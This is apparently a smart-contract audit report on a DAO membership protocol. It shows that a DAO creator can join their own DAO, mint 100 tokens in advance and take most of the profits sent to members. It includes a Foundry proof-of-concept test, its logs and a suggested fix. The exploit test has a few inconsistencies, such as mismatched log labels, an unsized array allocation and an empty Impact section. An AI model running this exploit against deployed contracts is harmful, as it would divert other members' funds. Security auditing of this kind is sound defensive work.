Summary
In the MembershipFactory.sol
, any user can create a DAO Membership using the MembershipFactory::createNewDAOMembership
function and invite others to join the DAO using the MembershipFactory::joinDAO
function. In MembershipERC1155.sol
, the profit share is contingent upon the total supply of tokens, which is affected by the MembershipFactory::joinDAO
function. This means that whenever a user joins the DAO Membership, the minting supply of MembershipERC1155
tokens increases, leading to a cumulative total supply of all minted tokens.
See visuals below.
MembershipFactory::joinDAO
: Users join the DAO Membership
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(
daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted,
"Tier full."
);
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
IERC20(daos[daoMembershipAddress].currency).transferFrom(
_msgSender(), daoMembershipAddress, tierPrice - platformFees
);
@> IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}
MembershipERC1155::mint
: Membership protocol mints the token for users (only callable by factory)
function mint(address to, uint256 tokenId, uint256 amount) external override onlyRole(OWP_FACTORY_ROLE) {
-------------------------------------------------------------------------------------------------^
@> totalSupply += amount * 2 ** (6 - tokenId);
_mint(to, tokenId, amount, "");
}
MembershipERC1155::sendProfit
: Total profit share is proportional to total supply; as total supply increases, the profit share for users diminishes.
function sendProfit(uint256 amount) external {
uint256 _totalSupply = totalSupply;
if (_totalSupply > 0) {
@> totalProfit += (amount * ACCURACY) / _totalSupply;
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
emit Profit(amount);
} else {
IERC20(currency).safeTransferFrom(msg.sender, creator, amount);
}
}
It has also been discovered that the sendProfit
function is susceptible to front-running, as highlighted in Cyfrin's private audit report, Finding H-1. This finding indicates that MembershipERC1155::sendProfit
can be front-run by calls to MembershipFactory::joinDAO
, allowing creators to divert profits from existing DAO members.
The issue has been confirmed and acknowledged: the proposed mitigation is to introduce a time delay. However, another problem remains that creators of the DAO Membership can join their own memberships, which allows them to mint excessive tokens in advance, ultimately reducing the profit share of other participants.
Vulnerability Details
Alice creates a DAO Membership using the MembershipFactory::createNewDAOMembership
function.
Alice joins her own DAO Membership using the MembershipFactory::joinDAO
function, which she created earlier.
Alice mints, for example, 100 tokens beforehand other users.
Subsequently, 20 users join Alice's DAO Membership.
At this point, the total supply is 100 + 20 = 120.
A profit of 500 ETH is distributed using the MembershipERC1155::sendProfit
function.
Profit share per user: 500 / 120 ≈ 4.167 ETH.
Amount Alice retains: approximately 417 ETH.
Fair profit share for 20 users: 500 / 20 = 25 ETH per user.
Actual amount received by users: approximately 4.167 ETH.
In this scenario, Alice effectively siphons off approximately 417 ETH.
Consider the following test case as proof of concept/code:
Convert the project to a Foundry-based structure.
Install all necessary dependencies.
Configure remappings as needed.
Create a file named MembershipERC1155Test.sol
in the test
folder.
Add the following code to MembershipERC1155Test.sol
:
pragma solidity 0.8.22;
import {Test, console} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MembershipERC1155} from "../src/dao/tokens/MembershipERC1155.sol";
import {MembershipFactory} from "../src/dao/MembershipFactory.sol";
import {CurrencyManager} from "../src/dao/CurrencyManager.sol";
import {TierConfig, DAOConfig, DAOInputConfig, DAOType} from "../src/dao/libraries/MembershipDAOStructs.sol";
import {CurrencyMock} from "./mock/CurrencyMock.sol";
import {OWPWalletMock} from "./mock/OWPWalletMock.sol";
contract MembershipERC1155Test is Test {
CurrencyMock currency;
address CREATOR = makeAddr("CREATOR");
address CURRENCY_MANAGER_ADMIN = makeAddr("CURRENCY_MANAGER_ADMIN");
address membershipDAOCreatorAndJoiner = makeAddr("membershipDAOCreatorAndJoiner");
address MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER = makeAddr("MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER");
address OWP_FACTORY_AND_DEFAULT_ADMIN = makeAddr("OWP_FACTORY_AND_DEFAULT_ADMIN");
string BASE_URI = "https://one-world.com/uri/";
CurrencyManager currencyManager;
OWPWalletMock owpWalletMock;
MembershipFactory membershipFactory;
MembershipERC1155 membershipTokenImpl;
function setUp() public {
currency = new CurrencyMock();
vm.startPrank(CURRENCY_MANAGER_ADMIN);
currencyManager = new CurrencyManager();
currencyManager.addCurrency(address(currency));
vm.stopPrank();
vm.startPrank(OWP_FACTORY_AND_DEFAULT_ADMIN);
membershipTokenImpl = new MembershipERC1155();
vm.stopPrank();
owpWalletMock = new OWPWalletMock();
vm.startPrank(MEMBERSHIP_FACTORY_ADMIN_AND_EXTERNAL_CALLER);
membershipFactory = new MembershipFactory(
address(currencyManager), address(owpWalletMock), BASE_URI, address(membershipTokenImpl)
);
vm.stopPrank();
}
function baseFunction() public returns (MembershipERC1155) {
TierConfig memory tierConf_one = TierConfig({amount: 10, price: 100, power: 2, minted: 0});
TierConfig memory tierConf_two = TierConfig({amount: 120, price: 200, power: 2, minted: 0});
TierConfig[] memory tiersArr = new TierConfig[]();
tiersArr[0] = tierConf_one;
tiersArr[1] = tierConf_two;
tiersArr[2] = tierConf_two;
tiersArr[3] = tierConf_two;
tiersArr[4] = tierConf_two;
tiersArr[5] = tierConf_two;
tiersArr[6] = tierConf_two;
DAOInputConfig memory daoInputConf = DAOInputConfig({
ensname: "anyENSNAME",
daoType: DAOType.SPONSORED,
currency: address(currency),
maxMembers: 900,
noOfTiers: tiersArr.length
});
vm.startPrank(membershipDAOCreatorAndJoiner);
address daoMembertokenProxyAddress = membershipFactory.createNewDAOMembership(daoInputConf, tiersArr);
vm.stopPrank();
MembershipERC1155 daoMemberToken = MembershipERC1155(daoMembertokenProxyAddress);
return daoMemberToken;
}
function testMembershipCreatorCanStealUsersProfit() public {
MembershipERC1155 daoMemberToken = baseFunction();
uint256 daoTokenBalanceOfCreatorBefore = daoMemberToken.balanceOf(membershipDAOCreatorAndJoiner, 6);
vm.startPrank(membershipDAOCreatorAndJoiner);
currency.mint(membershipDAOCreatorAndJoiner, 20000);
currency.approve(address(membershipFactory), 20000);
uint256 membershipDAOCreatorAndJoinerBalanceBefore = currency.balanceOf(membershipDAOCreatorAndJoiner);
for (uint256 i = 0; i < 100; i++) {
membershipFactory.joinDAO(address(daoMemberToken), 6);
}
uint256 membershipDAOCreatorAndJoinerBalanceAfter = currency.balanceOf(membershipDAOCreatorAndJoiner);
vm.stopPrank();
console.log("creator ERC20 balance before: ", membershipDAOCreatorAndJoinerBalanceBefore);
console.log("creator ERC20 balance after: ", membershipDAOCreatorAndJoinerBalanceAfter);
uint256 daoTokenBalanceOfCreatorAfter = daoMemberToken.balanceOf(membershipDAOCreatorAndJoiner, 6);
console.log("creator membership ERC1155 balance before: ", daoTokenBalanceOfCreatorBefore);
console.log("creator membership ERC1155 balance before: ", daoTokenBalanceOfCreatorAfter);
for (uint160 i = 1; i <= 20; i++) {
vm.startPrank(address(i));
currency.mint(address(i), 200);
currency.approve(address(membershipFactory), 200);
membershipFactory.joinDAO(address(daoMemberToken), 6);
vm.stopPrank();
}
console.log("Membership ERC1155 token total Supply: ", daoMemberToken.totalSupply());
vm.startPrank(membershipDAOCreatorAndJoiner);
currency.mint(membershipDAOCreatorAndJoiner, 500);
currency.approve(address(daoMemberToken), 500);
daoMemberToken.sendProfit(500);
daoMemberToken.claimProfit();
console.log("profit of creator: ", currency.balanceOf(membershipDAOCreatorAndJoiner));
vm.stopPrank();
for (uint160 i = 1; i <= 20; i++) {
vm.startPrank(address(i));
daoMemberToken.claimProfit();
console.log("profit of other joiners: ", currency.balanceOf(address(i)));
vm.stopPrank();
}
}
}
Create a mock
directory within the test
folder.
Inside mock
, add the files CurrencyMock.sol
and OWPWalletMock.sol
.
Implement the required mock contracts within these files.
Open a terminal and run the following command to execute the test:
forge test --mt testMembershipCreatorCanStealUsersProfit -vv
Review the test logs:
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.22
[⠃] Solc 0.8.22 finished in 3.66s
Compiler run successful!
Ran 1 test for test/MembershipERC1155Test.t.sol:MembershipERC1155Test
[PASS] testMembershipCreatorCanStealUsersProfit() (gas: 7036684)
Logs:
Creator ERC20 balance before: 20000
Creator ERC20 balance after: 0
Creator membership ERC1155 balance before: 0
Creator membership ERC1155 balance after: 100
Membership ERC1155 token total supply: 120
Profit of creator: 416
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Profit of other joiners: 4
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.12ms (15.99ms CPU time)
Ran 1 test suite in 19.37ms (18.12ms CPU time): 1 test passed, 0 failed, 0 skipped (1 total test)
As evidenced by the log above, the creator of the DAO Membership is able to divert user profits by minting an arbitrary number of tokens.
Impact
Tools Used
Manual review, Foundry.
Recommendations
To prevent creators of DAO Memberships from joining their own memberships, implement a restriction similar to the following:
require(msg.sender !=
membershipCreator, "Can't enter into self-created membership");